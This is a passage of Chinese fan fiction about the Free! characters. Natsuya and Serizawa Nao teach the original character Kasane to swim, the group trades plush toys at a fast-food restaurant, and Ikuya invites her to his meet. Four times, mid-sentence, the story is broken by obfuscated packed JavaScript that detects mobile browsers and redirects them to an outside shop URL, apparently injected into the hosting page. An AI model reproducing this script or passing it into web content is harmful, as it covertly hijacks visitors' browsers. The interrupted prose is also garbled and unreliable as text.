“我知道我的水平确实相当糟糕，但是……但是……”她痛心疾首，“带我来儿童游泳俱乐部也太打击人了吧！” “原来你是在为了这事情伤心啊？好啦好啦，别难过。” 夏也赶紧顺毛摸摸她。 他知道的，风音和郁弥一样，是要用温柔话语哄一哄才能好的性格。 “我绝对没有小瞧你的意思，只是我没有独自教会你的信心，所以来找这里的外援而已。” 能把前·岩鸢中学游泳部部长的自信心磨损成这样，她算得上很厉害了。 风音稍微被哄好了一点：“‘外援’？是谁？” “你马上就知道了。” 夏也买了个不太有意思的关子，区区半分钟之后就解密了。 走进俱乐部，站在入口处的芹沢尚笑着向他们招手。风音惊喜到要跳起来。 “啊啊啊！”她的金发一下子全都翘起来了，“是尚前辈！” 作为初中时她最敬仰的前辈，曾经担任岩鸢中学游泳部副部长的芹沢尚有多么擅长在游泳方面提供助力，风音相当了解，也难怪一见到他，她就跳起来了。 “尚前辈的头发剪短了！”她迫不及待地诉说着这个大发现，“这个新发型特别好看！” 对于如此真诚的夸夸，无论是谁都会不由自主地笑起来吧。 芹沢尚把入场的手环交给她，很认真地承诺，他一定会想办法帮她解决一百米游泳的难题。 有了前辈的承诺，风音瞬间放心了不少，学习的热情罕见的燃烧得好高。 可惜，在她穿上过分紧绷狭小的泳衣、打湿身体和头发、套上紧到差不多能把脑浆榨出来的泳帽时，这份干劲差不多就已经消失无踪了。 换言之，她又枯萎了。 “我，讨厌泳镜。” 和夏也还有芹沢尚在泳池边碰头的时候，她已经开始嘀嘀咕咕地埋怨碎碎念了。 “一不小心就会起雾气，真讨厌。”她相当艰难地扯开橡胶绑带，把泳镜戴上，“好紧……救命，眼球都要被吸出来了。等一等，我先确认一下，历史上应该没有出现过人类的眼球被泳镜吸出来的先例吧？” 夏也摆摆手：“放心吧，没有。” “真没有？” “真的没有。你不信我吗？” “啊。那倒不是。” 纯粹只是她的不安在作祟而已。 “做好热身了吗？”芹沢尚向她确认。 “抱歉，完全忘记了。我现在就做！” 勤勤勉勉地做完一整套热身运动。现在风音似乎稍微多出一点斗志了，可她准备再重复一次热身运动的动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655692|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作怎么看都像是在拖延时间。看穿了这一点的芹沢尚温柔地提醒她，可以先下水感受一下温度。风音很认同这一点，却还是磨蹭了一会儿才慢吞吞下水。 果不其然，泳池的水低于体温，一下去就让人想要打颤。 唯一值得庆幸的事情，大概是，儿童泳池相当浅，水面刚刚触及到她的腰，安全感十足。 风音的斗志遇水即化，怨念开始挥发。 “为什么人类没有长腮？既然都好好地进化了，进化成两栖动物不也挺好的？既然是专注于陆地生存的哺乳动物，不会游泳不也是特别正常的事情嘛，非要让人类学会游泳绝对是违反天理的一件事情。嗯，对，这不合常理。” 她嘀咕个不停，貌似陷入了一种近似中邪的状态之中。 芹沢尚茫然地听着风音的怨念嘀咕，开始担心她会不会压力太大。正想说“要不要先休息一会儿”，夏也却先拍了拍他的肩膀，一副见怪不怪的模样，沉稳的目光也在说着，只要放她一个人稍微发泄一下就没事了，不用担心。 在这短短的几秒钟忧虑之后，风音的怨念已经上升到一个新的台阶了。 “啊啊，世界上别存在大片水泽可以吗？地球存在水就很不合理啊，陆地才是最关键的好不好，没有陆地星球就不存在了不是嘛。所以人类快点进化好不好，进化成那种不需要水分也能活下去的高维生物，然后就能心安理得地让太阳烤干地球了。然后我们谁也不用学游泳了。” 说到这里，夏也觉得她的怨念应该已经发挥得差不多了，适时地向芹沢尚投去了一个目光。他立刻明白，稍稍伏低身子，将视线放在风音同一水平线上。 “已经适应水温了吧？” 风音哭丧着脸，艰难地一点头：“……嗯。” “那就好。我们一步一步来，先试着漂在水上吧，这你已经学会了，对吧？” “是的。” 为了掌握漂浮技巧，她可是学了整整一学期呢——多么苦痛的回忆。 好在这点回忆深刻地印在了她的骨髓里，即便好几年没走进泳池，她依然没有忘记，稍显笨拙、不过还算顺利地漂漂起来了。 很好，这一步没有问题。 芹沢尚知道她学的是蛙泳（除此之外的泳姿对她来说全都太难了），让她试着在水里先游一游。 “无论游多远也没关系的，我们只是先试一下。” 不愧是教过小朋友的专业选手，真是常人不可及的耐心。 夏也一起在旁边帮腔：“加油。好好表现哟，风音。” 他一句话就把风音的压力阀提起来了。 “这不是加油就能行的啦！反正我会尽力的。” 夏也咧嘴笑笑，完全没有意识到自己给她徒增了一堆压力。 深呼吸，压制紧张，没什么好觉得不好意思的。风音这么想着，果断地一头扎进水中，手忙脚乱地拨开水波，前进了整整两米。 眼看着最佳距离即将突破三米大关，她的手却已经碰到了池底。 是的，没错，她已经沉下去了。 12.完全实心的存在 直到肚子贴在了瓷砖上，风音才意识到自己沉底了，明明她全程都睁着眼，却完全没有发现自己在水中逐渐下沉的这个糟糕事实。 贴着泳池可无法前进。她慌慌张张站起来——太好了，水中站立的技巧她也没有忘记！——猛吸一大口新鲜空气，总算感觉自己再次活过来了。 “怎么样！” 她迫不及待，寻求着芹泽教练的反馈。 “我觉得我的动作稍微有点……好吧，应该是很不协调才对。而且我一到水里就慌了，直到沉底了才发现自己真的沉下去了。” 唯一值得高兴的事情可能是，她的肺活量还算不错，这一口气真的憋了很长？ “嗯，是这样没错呢。” 很有自知之明的风音总结出来的所有问题都是芹沢尚想说的。 “你以前游泳的时候也会不受控制地下沉吗？” “唔……尚前辈这话说得很有种我知道怎么上浮的感觉，这么高深的技巧我还没学会。”她必须坦白，“不过，高中学游泳的时候，貌似没有下沉得这么厉害。” 意思是，游起来的她虽然没有办法保持始终停在水面上的状态，但也不至于落到贴地的尴尬境地。 芹沢尚打量着她的手臂和健硕大腿，想了想，说：“也许是你这几年长了更多的肌肉吧？肌肉是很沉的。” “真的吗？尚前辈真的觉得我肌肉很多吗！” 风音的眼睛一下子亮起来了——这一秒绝对是她在泳池里最高兴的时刻没错了！ 她又变成摇尾巴小狗了。为了防止她的得意心过剩，夏也必须说出实话：“尚没有在夸你的意思。” “啊，你不能这么说！”她不情不愿地叫起来，“尚前辈肯定是在夸我！肯定是！” 芹沢尚笑而不语。他是绝不会轻易打击他人的自信心的。 肌肉太多导致的下沉无可奈何，好在也不是什么无法解决的问题。今天的指导就从这里入手，芹沢尚想教会她努力通过蹬水让自己浮起来。 实际情况肯定比说得更加艰难。对于水和游泳都很不敏感的风音，百分之八十的时间都没有意识到自己已经沉下去了。说到底，她连什么叫浮起来都没有明确的感觉。 没有办法，只能派出旁观的夏也（芹沢尚出现之后，在教导风音游泳这件事上他简直完全没有出力！）下水，帮忙把她从托到水上，至少要以此让她知道正确的位置在哪里才对。 硬邦邦的，和想象得完全不一样，与小时候也有点不同。 当夏也托住风音的时候，率先冒出的念头就是这个。他忍不住想，难怪实心的她会沉下去了。 “那个……”风音从水里探出脑袋，难得的看起来犹犹豫豫，“我很想说啊……” “怎么了？” 夏也莫名觉得窘迫，几乎要把手收回来。 如果真这么做，她就要沉下去了，所以他只是指尖抖了抖，很努力地摆出一副泰然自若的样子。 “为什么要把手握成拳头呢？你用拳头这么托着，让我觉得自己像是在被人殴打一样。”她用一点点抱怨的口吻说，“摊开手把我托起来是不是更好？” “可以吗？” “完全没问题啦！毕竟你是很让人放心的桐岛夏也嘛！” 她说着，很认真地拍拍他的肩膀，看来是夸奖没错。但很怪，夏也完全没办法因此觉得得意。 在泳池里泡了整整两小时，风音的水平终于从闷头前进两米而后沉底，进步到了五米后依然能够停留在水上的程度。简直是质变。 “能做到这样已经很不错了。鹿鸣，你不是完全没有天赋的。下次我们开始学换气吧。” 上一秒还在为了芹沢尚不着痕迹的夸奖窃喜，下一秒，听到还有“下次”，风音刚冒出头的那点得意就有点缩回去了。 “还要等下一次吗，我们能不能一口气学完？”她一副认真面孔，“乘胜追击嘛！” “一步一步来才比较合适哦。”芹沢尚安慰她，“别担心。我答应过你了，会让你顺利游过一百米的，难道鹿鸣不相信我吗？” “我对尚前辈怀有百分之一百的信心！” 今日份的游泳指导到此结束，觉得自己已经得到了不菲成就的风音用手撑着泳池边缘，把整个身子从水中提上来——这绝对是违反儿童泳池规则的行为，请不要随便学习。 因此，作为违规的报应，才刚脱离水面，风音就瘫倒在地上了。 “救命……好重……我的两条腿好沉！” 太久没有游泳过了，她完全忘记了水中的重力和地面上差了多少，毫无心理准备地就这么回到了地球的重力之中，她真的觉得自己双腿都被泡发了，沉甸甸地往下坠，要不是夏也伸手拉她起来，她真的要缓上好几分钟才能恢复过来吧。 “这是夏也今天做的第二件有指导性的事情。” 芹沢尚冷不丁地说。 显然，他是在暗示夏也今天完全没有尽到知指导的职责。 “就是就是！”风音坏心眼地在旁边帮腔，“夏也偷懒！今天真正在努力的人只有尚前辈和我！” 突然陷入了被围攻的境地，有那么短暂的一秒钟，夏也陷入了相当窘迫的境地，还好他很快就找回了信心。 “我承认我确实是做得没那么多，但也不是什么都没做吧？风音你最不能这么和我说了。” 风音装没听见，牢牢抓住这个难得能够对夏也抒发抱怨心情的绝佳机会，冲他又是挤眉弄眼又是吐舌头，坏心思简直暴露无遗。 最后被夏也弹了下脑门就治好了。 要知道一个游泳白痴在游泳技艺上取得突破，这绝对不是什么轻而易举就能做到的事情。风音比谁都更加明白这一点，当然不会让芹沢尚或是夏也免费把时间和努力交到她的手上。她早就说定了，会以一顿不错的晚餐作为报答。 顺便一提，在许下这个承诺的时候，她还不知道自己真正的老师会是芹沢尚。 “所以说。”夏也带着一种看好戏的笑意看她，“餐费突然翻倍了，真的不会对你造成什么经济压力吗？” 风音“哼哼”两声，好一副得意姿态。 “放心吧。我可是上一学年奖学金的拥有者，多请一个人绰绰有余！” 说出这么阔气的发言真是格外让人心旷神怡。 芹沢尚小声向她道谢——对于他人真心的谢意予以客气的拒绝，那可是很伤人心的。 “看来鹿鸣在学业方面也很努力呢。”顺便再多夸赞这么一句。 很好，风音要变得更加得意了。 还好这份得意的小心思没有害她一不小心说出“其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664213|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实我就是为了学业能轻松一点所以才特地选了很擅长的法语专业”的这个秘密。 游泳俱乐部附近有一家名气响亮的连锁快餐店，路过却不去吃，实在太可惜，干脆就选这一家吧。正好这家店最近有水族馆的联动活动，购入套餐就能随即抽到海洋生物的毛绒挂件，风音心动得不行，站在店外看活动海报的时候就已经开始迫不及待地选择自己最想要的那个了。 最心仪的海洋生物还没选好，身旁倒是多出了一个人类生物。 “哥？啊，还有风音和芹泽前辈。” 恰好路过的郁弥摘下耳机。 “好巧。” 嗯，确实挺巧的。明明游泳俱乐部也不在霜狼大学附近，却能在这里遇上郁弥，真巧，原来东京这么小。 郁弥大概也只是随便路过，却被夏也一下子揽了过来，过分热情的做派让做弟弟的也稍稍有点意外。 很快这份过分的热情就被解密了。 “一起吃饭吧。今天有人请客哦。”夏也说着，目光投向风音。 倒霉蛋风音花了两秒钟时间才意识到自己即将钱包大出血的这个事实，蹭一下站直了身子，默默在心里算了一下今日要破的财，貌似也没有多到不可承受的程度，于是什么硬气的或是坚定的话语全都消失无踪了，变成格外大度的“来嘛来嘛”。 有好事上门，郁弥最先冒出的心情并非惊喜，而是先小小地质疑了一下。 “为什么今天风音要请客？”他极其微不可查地眯了眯眼，“说起来，哥和芹沢前辈还有风音的这个组合就挺不对劲的。” 他甚至要开始怀疑他们是不是在盘算着什么坏事了——虽然他们之中最会使坏的是有风音而已。 芹沢尚笑了笑，“只是在帮鹿鸣度过游泳考试的难关而已。” 夏也顺便补上，“作为回报，她请我们吃饭。” 好吧，看来不是什么坏事——不过郁弥的心情还是略带几分微妙。 “明明也可以找我帮忙吧。” 这话怎么酸唧唧的。 “等你看到我消息的时候，我肯定已经学会怎么有过一百米了。”风音毫不留情地揶揄他，“再说了，用不着付出努力就能蹭一顿饭，这不是好事吗？你还是先偷着乐吧！” “话是这么说没错……” 郁弥微微拧着面孔，看起来总像是还想要抱怨几句，但依然是近在眼前的晚餐在作祟，堵住了他怨念满满的嘴。他把健身包的背带拉紧了一点，跟着他们一起走进快餐厅。 点单、付款、取餐，还没来得及回到座位上，风音已经迫不及待地想要去拆联名的盲盒赠品了。郁弥偷偷瞄着她。 “你最想要哪个？” 顺便问了这么一嘴，没想到她却很认真地板起了面孔：“我不会说出来的。这就和愿望一样，一旦说出来就不灵了。” “是吗？”郁弥第一次听说这种事，“那……我最想要那条大白鲨。” 反正说出来就不准了，干脆反其道而行。 只是在他说完这话之后，风音投来的微妙的、仿佛像是在看好戏的目光，稍稍让他产生了一点“我是不是走了一步错棋”的念头。 当他拆开盲盒，毛茸茸鲨鱼和风音毫不留情的大笑一起砸过来的时候，郁弥终于可以确信，自己确实走错路了。 13.根本是不平等交换满百收藏加更 从小郁弥就觉得，风音的笑声相当具有她的个人特色。 意思是说，在爆发出可怕的大笑之前，她大概率会先发出一声略轻的“啊”，短短的“哈”一声随即追上。紧接着就是拖长的“哈——”连着一串啊“哈哈哈哈哈”，短促的笑声像是家里那台老旧的要花上好一阵才能打起来的煤气灶，咔哒咔哒响个不停。 要是风音这标志性的笑声是对着别人发出来的，那郁弥肯定也会跟着笑上几声。可眼下问题是，她现在正在对着自己大笑。既然如此，那么除了脸红和气急败坏之外，她肯定没办法做出更多的反映了。 更讨厌的是，被她的笑声传染，哥哥和芹沢前辈也发出了一点小小的笑声——当然，全都被风音的大笑压住了，显得相当微不足道，可却很真实地存在着。 ……可恶！ 拼命忍耐了整整两秒钟，郁弥就彻底忍不住了。 “你们不要笑啊，尤其是哥你——你该站在我这一边把！这也不是这么值得笑的事情吧！”他试图通过强词夺理找回自己的尊严，“我、我这不是心想事成了嘛。就算是把心愿说了出来，我也还是得到了我最想要的玩偶，不是吗？” “你别用这种自我欺骗的方式说谎。”当哥哥的那位毫不犹豫地戳穿他故作坚强的谎言，“你的表情明明就很失望。” 就连芹沢尚也在旁边点头：“郁弥一向是个把什么心情都写在脸上的孩子呢。” 如果要问这个时候，最为嘴上不留情的风音为什么没有在旁边拱火，完全是因为她的大笑还没办法停下而已。 郁弥气到咬牙切齿。 到底是想办法把这个丑巴巴的小东西藏起来好呢，还是从现在开始培养对它的爱比较合适？他想不好。这两个选项没有哪个是完美的。 总之，先揣进口袋里。只要看不到它，大家也没必要发出什么多余的笑声了吧？ 谢天谢地，至少这一步算是走对了。恰在他收起毛绒玩具时，风音也笑够了，只剩下嘴角还不怀好意地翘着，时刻都有可能再次笑出来。 但不管怎么说，她终于开始拆自己的盒子了——刚才真的是笑得连力气都消失了，都没劲拆盒子。 拆开塑料包装，打开纸盒。从她的盒子里出现的是纯白色海豹幼崽，毛茸茸又圆滚滚，一落在在郁弥的眼前，他的眼睛都要直了。 造化弄人，其实他最想要的就是这只小海豹了！ 虽然夏也抽出来的虎鲸和芹沢尚的大西洋鲷鱼也算得上不错，但论真正的可爱，绝没有哪一款产品能够超过小海豹。 可就是郁弥这么想要的小海豹，在风音看来，却也只是觉得一般而已。 “是很可爱没错啦，但我更想要隐藏款。”她可是很贪婪的，“我总觉得我的运气能好到抽出隐藏款。” 事实证明这只是她的错觉而已。 不过，小海豹也不赖——反正肯定比郁弥抽到的好多了！ 幸福果然是比较出来的，一想到这里，风音什么怨念都没有了，随意将小海豹摆到边上。 恍惚之间，余光似乎看到郁弥的视线也追了过来，跟随着小海豹的行动轨迹，从这里走到那里。可当她侧首去看时，他却收回了目光。 难道只是自己看错了吗？她忍不住想。 但在接下来的二十分钟里，她总是能感觉到一道贪婪（？）的目光落在自己的小海豹上。无论是在夏也与郁弥聊最近的训练日程的时候，还是芹沢尚同她协调下一次学习时间的途中，亦或是端着餐盘去倒垃圾的时候，这道微妙的光线总是追随在她的身边，她真的没办法不在意了。 离开快餐店，夏也说和芹沢尚还有事要处理，相约着一起离开了，合理怀疑他们是要续上成年人的第二场，痛快地喝酒去了。看来未成年人只能报团取暖，只余下风音和郁弥一起走回去。 不算意外，郁弥那道微妙的目光又飘过来了——这已经是第几次了，一百回总有了吧？ 真的，事到如今他居然还是对自己的小海豹垂涎欲滴，她真的觉得自己有必要介入一下了。 一直以来，风音信奉地对郁弥的相处方式是，决不能太过于顺从他的心意，因为他是个就算放下了杆子也不常会顺势爬上来的别扭性格。可被频频投来这种意味不明的目光，无论如何她都没办法装作视而不见了。 在红绿灯前，她停住脚步，从口袋里掏出小海豹，举到他的面前，还故意晃悠了两下，让毛茸茸的绒毛荡出漂亮的流线型。 “要和我换吗？”她说。 虽然鹿鸣风音的通情达理绝不是什么罕见的稀有品，但心心念念的话语这就出现在了耳边，郁弥难免还是被吓了一跳，不自然地缩起肩膀，移开了目光。 “我……呃……也不用吧。”一不小心就嘴硬了。 风音一下子凑过来，歪着脑袋，似乎这样就能把他的言不由衷看得更加清楚：“真的不换吗？” “……” 好吧，他有点说不出来了。还好，在很多时候，沉默也足够成为荅案。 风音把小海豹塞进他的手里，依旧是一副不太高兴的表情。 “要是想要的话，你就直说嘛。” 他老是这样，把一切情绪和想法往内收，多余的什么都不说。之前听夏也说的他们之间的事情，还以为他这几年大概好一些了，但实际上和之前并没有什么大的区别嘛。 “不是每个人都能知道你在想什么哟，郁弥。我也一样，你不说的话，我不会知道的。”她很认真地盯着他，“无论如何，至少要对我保持坦诚才行。” 真直白啊。 郁弥被她说得很尴尬，目光差点又要飘走了，可每一次移开视线，风音总能敏锐地立刻捕捉到视线游走的方向，而后立刻追上，害得他根本无处可躲了。 没有办法，他轻轻叹气，点了点头，“我明白了。” “很好！”风音看起来很高兴，“不过，我不是随便和你交换的——我有附带的要求哟。” 好吧，现在郁弥要开始紧张起来了。“是很过分的要求吗？” “还好吧，应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668220|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不算过分？”她摸了摸下巴，郁闷感这才后知后觉地追上来，“你到底把我想象成了什么样的人了？” 郁弥笑而不语——这个问题的答案，还是不说出口比较好。 看他这副神秘兮兮的模样，风音就知道自己肯定没办法猜出答案了。既然如此，干脆放下多余的好奇心算了。 “我只是希望郁弥同学你可以对我多一点用心和诚恳哦，这一点可不算难以做到。”她竖起一根手指，分外认真地在半空中晃来晃去，“最简单的落实方式，就是及时回复我的消息，并且多回复几句。毕竟我一直都对你很好嘛，所以你以后也要对我好一点才行。” 他愣了几秒钟：“我回复得很慢吗？” 糟糕，他完全没有自觉。 风音惊讶到下巴差点坠地：“当然啦，所以学游泳这件事拜托了夏也而不是你，就是因为我担心你根本没空回复我！说真的，难道从来没有人和你抱怨过这种事吗？” “这个嘛……”他迟钝地开始琢磨起来，“好像没有……啊，不对，哥以前好像有说过类似的话。日和好像也说过？” “‘日和’？”风音眯起眼，偷摸摸地靠过来，“是我没听过的名字哦。” 而且怎么听起来很像是女生的名字呢—— 她这副疑神疑鬼的表情实在好玩，郁弥一下子忘记了自己刚才正在琢磨的事情，噗嗤一下笑出了声。 “你当然不认识了，日和是我在美国认识的。” 风音发出了一声酸溜溜的“哈”。 “并且日和现在也就读于霜狼。” 她的脸要皱起来了：“是嘛是嘛。” “他是和我一起游泳的好伙伴” 憋到最后一句话才舍得解密，郁弥的坏心思简直昭然若揭，也难怪此刻他看着风音瞬间舒展开来的表情会笑个不停。 “你刚才肯定在往奇奇怪怪的方面想吧？”他取笑她。 风音也不否认，嘿嘿地笑着，露出一如既往很漂亮齐整的一排牙齿：“是呀。我在担心我的‘郁弥最好的朋友’的地位会动摇嘛！” “不会的。” “那就要从行动上好好地落实哦！” 说着这话的她看起来真的好认真，郁弥实在没办法用什么蹩脚的话语将话题揭过去了，只好点点头，答应了。 正好，他的承诺马上就能有落实的机会了。就在他们说话的期间，本年度关东地区大学生游泳竞赛的赛事日程终于公布了。 郁弥谨记风音刚才的教诲，想也不想，立刻问她要不要去看。 “我会出场其中的三个项目。”他说。 风音的眼睛一下子亮了起来——就和那个她踢完足球的夏天，伏他的在床边把他叫醒时，如出一辙的清澈明亮的眼眸，从浮在浅色虹膜上薄薄的一层水汽中，甚至能觉察到自己的倒影。 可能正是因此，郁弥才不自觉地愣了愣，迟钝片刻之后，才听到她轻快的话语来到耳中。 她说的是：“这场比赛，我是不是你第一个邀请的对象？” 14.想当被邀请的观众 说着这话的风音如同满怀期待，认真到不行。 在如此真挚的目光洗礼之下，即便事实并非如此，郁弥也不好意思实话实说了——还好，感谢赛事日程刚刚才公布，风音确实是他邀请的第一个观众。 他点点头，看着风音得意地跳起来，蹦得像兔子那么高，让人很想感叹“不愧是篮球运动员”。 “去的去的，我会去的！”她迫不及待地说，“比赛是在哪一天来着？” “十二月的第二个周末。” “是嘛……稍等，我看看。” 赶紧打开日历。还好还好，那个周末没有安排任何比赛，抽空去看游泳竞赛完全没问题。否则她就要把自己刚刚说好的话重新吞回去了。 “说起来，风音什么时候邀请我去看你的比赛？” 郁弥忽然这么说，倒是挺让人意外的。 风音眨了眨眼。 “篮球没有游泳那么好懂哦。”意思是说，这绝不是什么外行人也能看得津津乐道的比赛，“你肯定又会在观众席上睡着的。” 之所以说是“又”，当然是因为这种事情早在初中的时候就已经发生过了，就在在风音投进了一个超长距离的三分球、轰动到全场都在欢呼的时候，观众席上的桐岛郁弥同学睡得过分香甜，还抬手抓了抓耳朵，估计是嫌周遭的噪声太吵吧。 毫不意外，当天回家的路上，他被风音抱怨了一路，都快到家了她还是好不开心。而被送上了一堆怨气的郁弥自己也不开心，干脆赌气地说，从此以后再也不要去看她的比赛了，她也嘴犟，大喊“不来就不来我又不稀罕反正你也看不懂！”，哼一声就走了。 坏消息是，当时夏也并不在场，没能解决掉他们俩的赌气纠纷。不过，值得庆幸的是，在他们此刻说着篮球比赛的当下，无论是当时放了狠话的郁弥，还是那时候顺势说了违心话的风音，谁都没想起来小时候的那场斗嘴。 “我不会睡的。”当然，不服气还是有的，难怪郁弥鼓起了脸，“而且我会带上懂篮球的朋友一起去看。你认识的，就是鴫野贵澄。” “啊，岩鸢中学篮球社的贵澄吗——以前老是邀请朋友一起去打篮球的那个？” “没错。” “带上他的话倒确实是可以成功替你扫盲了。” 毕竟鴫野贵澄是个致力于将他每个热爱游泳的朋友劝去打篮球的（但是失败了的）篮球爱好者。 “所以，什么时候才能来看你的比赛？”郁弥立刻切回正题。 “让我想想。” 结果想了整整三分钟。 “大约……一月中旬吧？”风音说，“今年冬季杯大赛的正赛差不多是在这时候。这可是本学年最后的大型比赛了哟，正是让你赶上了。” 郁弥有点意外：“意思是，接下来的一个多月，都没有任何比赛吗？” “有冬季杯的地方选拔赛。不过地区比赛太无聊了，没必要特地请你来看——因为没有悬念嘛，肯定是京王会赢。” 在过去的十三年，京王大学都能占据所有全国大赛的席位，这实在是毫无悬念的事实，今年也不会有什么变化。 不过，落在外行人的耳中，这种发言还是相当奇妙的，也难怪郁弥笑了笑。 “好自信。” 风音不否认这一点：“自信绝不是什么坏事。” 既然如此，那就怀着期待，好好耐心等待吧。 郁弥和风音的公寓隔得稍远，在车站前就不得不道别了。 风音换了两条电车线路，慢吞吞地回到家，开始进行白天时故意落下的家务，并且悲惨地发现早上洗好的衣服忘在了洗衣机里没有去晾，现在已经开始散发出一股奇妙的水臭味了。 没办法，重新洗吧。 把衣服重新丢进去，她靠在摇晃不停的洗衣机旁边刷手机，郁弥的消息相当及时地落在了眼前。 认真贯彻着与她的约定，他这就开始提升自己的对话频率了——他发来了一张照片，刚刚才和他交换的、他最想要的小海豹，已经扣在了拉链锁头上。 「Ikuya：挂到健身包上了」 「Kasane：特别特别可爱！呀能抽中这么可爱的小东西的人真是运气超好呢——」 她的得意尾巴肯定又开始翘起来了。都不需要动用想象力，郁弥的眼前已经出现了她那副骄傲到不行的样子。 有点想笑。 「Ikuya：再次感谢鹿鸣小姐的绝佳手气」 「Kasane：哼哼哼，不用客气！请记得，我是很大方的，完全允许你对外宣称，是自己手气好到一发就抽中了最想要的挂件！」 「Ikuya：谢谢你的好心」 话虽如此，郁弥打算保持诚实，偶尔有队友问起包上这只小海豹的来历，他会认真地说，是好朋友帮忙抽中的。 渐冷的冬日的风会吹进小海豹纯白色皮毛的间隙之中，举办游泳竞赛的周末伴着逐渐触及零度的寒意到来。走下霜狼大学游泳部的大巴车时，钻进衣领里的冷风让郁弥不自觉地哆嗦了一下。 除了下雪之外，冬天真是没有一丁点好的地方。 今日比赛的体育馆近在眼前。大概是要磨炼一下他们的心智，队长偏要选在室外和大家说明注意事项。 郁弥把脖子缩进衣领里，听得不算太认真，难怪视线总忍不住乱瞟。不经意的一瞥，倒是注意到了坐在空地长椅上的熟悉身影。 “郁弥。” 回过神来，才听到远野日和在唤他，而霜狼的队伍已经在往场馆内前进了。 “我们该走了。”日和提醒他。 “我知道，我稍后过来。帮我和队长说一下吧。” 说着就离开了队伍，朝空地走去。 不知为何，脚步越来越快。怀着一点点的坏心思，他悄无声息地站到那个身影的后方，挑选了一个不错的时机，怀揣着绝对要把对方吓一大跳的信念，忽然出声。 “来得这么早吗，风音？” 风音仰起脑袋，一副笑眯眯的表情，比冬日的空气还要更加稀薄通透的眼眸看着他。 好吧，现在被吓到的那一方，大概会是郁弥吧。 “我今天的训练结束得很早，一走出学校就坐上了公交车。运气很不错吧？” “嗯。可你为什么要坐在这里？” 风音耸耸肩膀：“因为你哥还没来嘛，我在等他。距离比赛开始也还要好久，体育馆里有点吵，空气也闷，我想着还是出来溜达一下比较好。” 溜达着溜达着，一不小心就坐下来了。一旦落在冬日的风里，总觉得所以的干劲都会被抽空。 对于这一点，郁弥也很认同，因为他现在也坐到长椅的另一端了。风音“诶？”了一声。 “现在不需要去做点准备工作吗？” “不着急。让你一个人等着， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668221|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉有点孤单。” “还好啦，我早就习惯一个人了。”拜托，她可是被忙碌妈妈独自带大的小孩，“不过谢谢你。作为回报，给你看看皮埃尔的新照片怎么样？你一直很喜欢他的秃头不是嘛。” 郁弥花了一秒钟才把“皮埃尔”这个陌生的名字和所谓的“喜欢的秃头”联系在一起，第一次知道原来风音爸爸的全名应该是皮埃尔·塞杜。 “我没有喜欢他的秃头。” 他赶紧替自己辩解。 但话又说回来：“看一下也不是不行。” 风音带着一副狡猾的仿佛在说着“我就知道”的表情，把手机凑了过去，硕大一颗法国产秃头出现在了屏幕上，映出马赛港温暖的目光，简直和十几年前第一次出现在桐岛家门前时一模一样。想想这颗脑袋上曾在长着和风音一模一样的金发，真是奇妙。 怀着这份感叹的心情，郁弥的目光这下移向别处，飞快地扫过照片上那张晒得微红的脸颊与鹰钩鼻，留意到了被皮埃尔搂着的金发男孩。 “这是谁？” “我弟弟。” 郁弥惊愕的目光在照片和风音之间打转了整整三个来回：“你还没说过这件事！” “是吗？不过我觉得这没什么好说的啦。” 风音看起来对这事不太上心。 “我完全没觉得自己当上了姐姐，毕竟我和安德烈亚……就是这小子，”她的指尖戳在手机屏幕上，“要等到下个月才第一次见面。之前我们都只在我和皮埃尔视频通话的时候才打过照面。” 顺便一提，在安德烈亚一岁到三岁期间是个相当热情的小孩，一见到屏幕里的她，就会叽叽喳喳说一大堆话，一度真的让风音冒出了姐姐的实感。然而到了四岁之后，安德烈亚对这个世界的表达欲莫名其妙地急速降低，就算看到她，也只是赶紧从镜头前跑走，什么话也不说。据老爹皮埃尔所说，这孩子确实越来越安静了——请放心，他的心理或是生理健康都没有任何异常，只是纯粹地变得不爱说话了。 对于素未谋面的风音的弟弟，说真的郁弥并不关心。他只留意到了她话语中的一个信息。 “下个月见面……你要回巴黎了吗？” 